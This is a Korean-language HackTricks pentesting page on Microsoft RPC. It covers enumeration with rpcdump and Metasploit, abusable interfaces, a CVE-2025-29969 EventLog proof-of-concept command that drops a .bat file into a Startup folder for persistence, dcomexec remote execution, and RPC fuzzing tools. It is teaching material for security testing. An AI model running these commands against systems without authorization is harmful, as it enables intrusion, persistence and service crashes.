135, 593 - Pentesting MSRPC

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Microsoft Remote Procedure Call (MSRPC) 프로토콜은 클라이언트-서버 모델로, 프로그램이 네트워크의 세부사항을 이해하지 않아도 다른 컴퓨터에 있는 프로그램에게 서비스를 요청할 수 있게 해준다. 이 프로토콜은 처음에 오픈 소스 소프트웨어에서 유래했으며 이후 Microsoft에서 개발 및 저작권을 보유하게 되었다.

RPC endpoint mapper는 TCP 및 UDP 포트 135, TCP 포트 139 및 445의 SMB (with a null or authenticated session), 그리고 TCP 포트 593의 웹 서비스로 접근할 수 있다.

135/tcp   open     msrpc         Microsoft Windows RPC

MSRPC는 어떻게 동작하나요?

클라이언트 애플리케이션이 시작하면, MSRPC 프로세스는 로컬 스텁 프로시저를 호출하고 이 프로시저가 클라이언트 런타임 라이브러리와 상호작용하여 서버로 전송할 요청을 준비합니다. 여기에는 매개변수를 표준 Network Data Representation 형식으로 변환하는 과정이 포함됩니다. 서버가 원격인 경우 전송 프로토콜의 선택은 런타임 라이브러리에 의해 결정되어 RPC가 네트워크 스택을 통해 전달되도록 합니다.

https://0xffsec.com/handbook/images/msrpc.png

노출된 RPC 서비스 식별

TCP, UDP, HTTP 및 SMB를 통해 노출된 RPC 서비스는 RPC locator 서비스와 개별 엔드포인트를 쿼리하여 확인할 수 있습니다. rpcdump와 같은 도구는 IFID 값으로 표시되는 고유한 RPC 서비스를 식별하는 데 도움을 주며, 서비스 세부정보와 통신 바인딩을 보여줍니다:

D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]

RPC locator 서비스에 대한 접근은 다음 특정 프로토콜을 통해 가능하다: ncacn_ip_tcp 및 ncadg_ip_udp는 port 135를 통한 접근에 사용되며, ncacn_np는 SMB 연결용, ncacn_http는 웹 기반 RPC 통신용이다. 다음 명령들은 Metasploit 모듈을 사용해 MSRPC 서비스를 검사하고 상호작용하는 예시로, 주로 port 135에 중점을 둔다:

use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135

All options except tcp_dcerpc_auditor are specifically designed for targeting MSRPC on port 135.

주목할 만한 RPC 인터페이스

  • IFID: 12345778-1234-abcd-ef00-0123456789ab
  • Named Pipe: \pipe\lsarpc
  • 설명: LSA 인터페이스로, 사용자 열거에 사용됩니다.
  • IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  • Named Pipe: \pipe\lsarpc
  • 설명: LSA Directory Services (DS) 인터페이스로, 도메인 및 신뢰 관계 열거에 사용됩니다.
  • IFID: 12345778-1234-abcd-ef00-0123456789ac
  • Named Pipe: \pipe\samr
  • 설명: LSA SAMR 인터페이스로, 공개 SAM 데이터베이스 요소(예: usernames)에 접근하고 계정 잠금 정책과 관계없이 사용자 암호를 brute-force하는 데 사용됩니다.
  • IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  • Named Pipe: \pipe\atsvc
  • 설명: 작업 스케줄러로, 원격에서 명령을 실행하는 데 사용됩니다.
  • IFID: 338cd001-2244-31f1-aaaa-900038001003
  • Named Pipe: \pipe\winreg
  • 설명: 원격 레지스트리 서비스로, 시스템 레지스트리에 접근하고 수정하는 데 사용됩니다.
  • IFID: 367abb81-9844-35f1-ad32-98f038001003
  • Named Pipe: \pipe\svcctl
  • 설명: 서비스 제어 관리자 및 서버 서비스로, 원격에서 서비스를 시작·중지하고 명령을 실행하는 데 사용됩니다.
  • IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  • Named Pipe: \pipe\srvsvc
  • 설명: 서비스 제어 관리자 및 서버 서비스로, 원격에서 서비스를 시작·중지하고 명령을 실행하는 데 사용됩니다.
  • IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  • Named Pipe: \pipe\epmapper
  • 설명: DCOM 인터페이스로, WM을 통해 password grinding 및 정보 수집에 사용됩니다.

MS-EVEN (EventLog Remoting) primitives

The MS-EVEN RPC interface (named pipe \pipe\even) exposes Eventlog operations. SafeBreach’s CVE-2025-29969 (EventLog-in) analysis shows a TOCTOU flaw in MS-EVEN that lets an authenticated low-privileged user trigger a remote arbitrary file write on the target: attacker-chosen content written to an attacker-chosen path without needing Administrator rights for the remote write.

운영 패턴(PoC 워크플로우): SMB 공유에 valid EVTX와 페이로드를 준비한 다음, MS-EVEN 로직을 레이스하여 대상이 SMB에 호스팅된 파일을 가져와 선택한 경로에 쓰도록 합니다.

impacket-smbserver -smb2support Share /tmp/safebreach

공개된 PoC는 hard-coded SMB share name (Share)을 사용하므로, 이를 변경하면 스크립트도 업데이트해야 합니다.

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123   "/tmp/safebreach/Sample.evtx" "calc.bat"   "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"

일반적인 공격 흐름은 다음 로그온 시 persistence 및 실행(해당 사용자 컨텍스트에서 실행됨)을 위해 사용자별 Startup 폴더에 드롭하는 것입니다.

MS-EVEN CreateFile-style primitive for recon

MS-EVEN은 또한 모든 authenticated user가 사용할 수 있는 file open/create primitive(PoC에서 CreateFile로 설명됨)를 노출하여 원격 파일 또는 디렉터리의 존재 여부를 probe할 수 있게 합니다. 이는 일반적인 설치 경로(예: C:\Program Files\<Vendor>)를 확인해 소프트웨어를 식별하는 데 유용합니다:

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY

Identifying IP addresses

Using https://github.com/mubix/IOXIDResolver, comes from Airbus research is possible to abuse the ServerAlive2 method inside the IOXIDResolver interface.

이 방법은 HTB 박스 _APT_에서 인터페이스 정보를 IPv6 주소로 얻는 데 사용되었다. 0xdf APT writeup은 here를 참조하면 되며, 위에서 언급한 _stringbinding_을 사용한 Impacket의 rpcmap.py를 이용한 대체 방법도 포함되어 있다.

Executing a RCE with valid credentials

유효한 사용자 자격 증명이 있으면 impacket 프레임워크의 dcomexec.py를 사용해 원격 시스템에서 코드를 실행할 수 있다.

사용 가능한 다양한 객체들을 시도해보는 것을 기억하라

  • ShellWindows
  • ShellBrowserWindow
  • MMC20

Port 593

rpctoolsrpcdump.exe는 이 포트와 상호작용할 수 있다.

Automated Fuzzing of MSRPC Interfaces

MS-RPC 인터페이스는 크고 종종 문서화되지 않은 공격 표면을 노출한다. 오픈소스 MS-RPC-Fuzzer PowerShell 모듈은 James Forshaw의 NtObjectManager를 기반으로 Windows 바이너리에 이미 포함된 인터페이스 메타데이터로부터 RPC 클라이언트 스텁을 동적으로 생성한다. 스텁이 생성되면 모듈은 각 프로시저에 변형된 입력을 대량으로 주입해 결과를 기록할 수 있어, IDL을 한 줄도 작성하지 않고 재현 가능하고 대규모의 RPC 엔드포인트 퍼징이 가능하게 한다.

1. 인터페이스 목록 작성

# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1

# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output

Get-RpcServerData는 만나는 모든 인터페이스의 UUID, 버전, binding strings (named-pipe / TCP / HTTP) 및 전체 프로시저 프로토타입을 추출하여 rpcServerData.json에 저장합니다.

2. Run the fuzzer

'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100  -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999

Relevant options:

  • -MinStrLen / -MaxStrLen – 생성된 문자열의 길이 범위
  • -MinIntSize / -MaxIntSize – 변형된 정수의 값 범위 (오버플로우 테스트에 유용)
  • -Sorted매개변수 의존성을 존중하는 순서로 프로시저를 실행하여 한 호출의 출력이 다음 호출의 입력으로 사용될 수 있게 함 (도달 가능한 경로를 크게 증가시킴)

The fuzzer는 2가지 전략을 구현합니다:

  1. Default fuzzer – 무작위 원시값 + 복합 타입에 대한 기본 인스턴스
  2. Sorted fuzzer – 의존성 인식 순서 (see docs/Procedure dependency design.md)

Every call is written atomically to log.txt; after a crash the last line immediately tells you the offending procedure. The result of each call is also categorised into three JSON files:

  • allowed.json – 호출이 성공하여 데이터를 반환함
  • denied.json – 서버가 접근 거부로 응답함
  • error.json – 기타 오류 / 충돌

3. Neo4j로 시각화

'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j

Import-DataToNeo4j은 JSON 아티팩트를 다음과 같은 그래프 구조로 변환합니다:

  • RPC 서버, 인터페이스 및 프로시저는 노드입니다
  • 상호작용 (ALLOWED, DENIED, ERROR)은 관계입니다

Cypher 쿼리를 사용하면 위험한 프로시저를 빠르게 찾아내거나 크래시를 유발한 정확한 호출 체인을 재생할 수 있습니다.

⚠️ fuzzer는 파괴적입니다: 서비스 충돌과 심지어 BSOD가 발생할 수 있으므로 항상 격리된 VM 스냅샷에서 실행하세요.

자동 인터페이스 열거 및 동적 클라이언트 생성 (NtObjectManager)

PowerShell 전문가 James Forshaw는 오픈 소스 NtObjectManager 모듈 안에서 Windows RPC의 내부 대부분을 공개했습니다. 이를 사용하면 어떤 RPC server DLL / EXE든 몇 초 안에 fully-featured client stub으로 바꿀 수 있으며 — IDL, MIDL 또는 manual unmarshalling이 필요하지 않습니다.

# Install the module once
Install-Module NtObjectManager -Force

# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *

일반적인 출력은 매개변수 타입을 MIDL에 표시된 것과 정확히 동일하게 노출합니다(예: FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).

인터페이스를 알게 되면 컴파일 준비가 된 C# 클라이언트를 생성할 수 있습니다:

# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

생성된 stub 안에는 다음과 같은 메서드들이 있습니다:

public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}

The PowerShell 도우미 Get-RpcClient대화형 클라이언트 객체를 생성하여 프로시저를 즉시 호출할 수 있게 합니다:

$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType  WinNT  # NTLM auth

# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)

Authentication (Kerberos / NTLM) and encryption levels (PacketIntegrity, PacketPrivacy, …) can be supplied directly via the Connect-RpcClient cmdlet – ideal for bypassing Security Descriptors that protect high-privilege named pipes.

컨텍스트 인식 RPC Fuzzing (MS-RPC-Fuzzer)

정적 인터페이스 지식도 유용하지만, 진짜로 필요한 것은 context handles와 복잡한 파라미터 체인을 이해하는 coverage-guided fuzzing입니다. 오픈소스 MS-RPC-Fuzzer 프로젝트는 정확히 그 워크플로우를 자동화합니다:

  1. 타깃 바이너리가 export한 모든 인터페이스/프로시저를 열거 (Get-RpcServer).
  2. 각 인터페이스에 대한 동적 클라이언트 생성 (Format-RpcClient).
  3. 원본 NDR type을 존중하면서 입력 파라미터(와이드 문자열 길이, 정수 범위, enums)를 무작위화.
  4. 한 호출에서 반환된 context handles를 추적해 후속 프로시저에 자동으로 전달.
  5. 선택한 전송(ALPC, TCP, HTTP or named pipe)에 대해 대량 호출 실행.
  6. 종료 상태 / faults / timeouts를 로깅하고 Neo4j 임포트 파일을 내보내 interface → procedure → parameter 관계와 크래시 클러스터를 시각화.

예시 실행 (named–pipe target):

Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1  -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results

단 하나의 out-of-bounds write나 예상치 못한 예외가 발생하면, 이를 유발한 정확한 opnum + fuzzed payload와 함께 즉시 드러납니다 — 안정적인 proof-of-concept exploit을 위한 완벽한 출발점입니다.

⚠️ 많은 RPC 서비스는 NT AUTHORITY\SYSTEM 권한으로 실행되는 프로세스에서 동작합니다. 여기서 발생하는 모든 메모리 안전성 문제(memory-safety issue)는 일반적으로 local privilege escalation로 이어지거나 (SMB/135를 통해 노출될 경우) remote code execution을 초래합니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기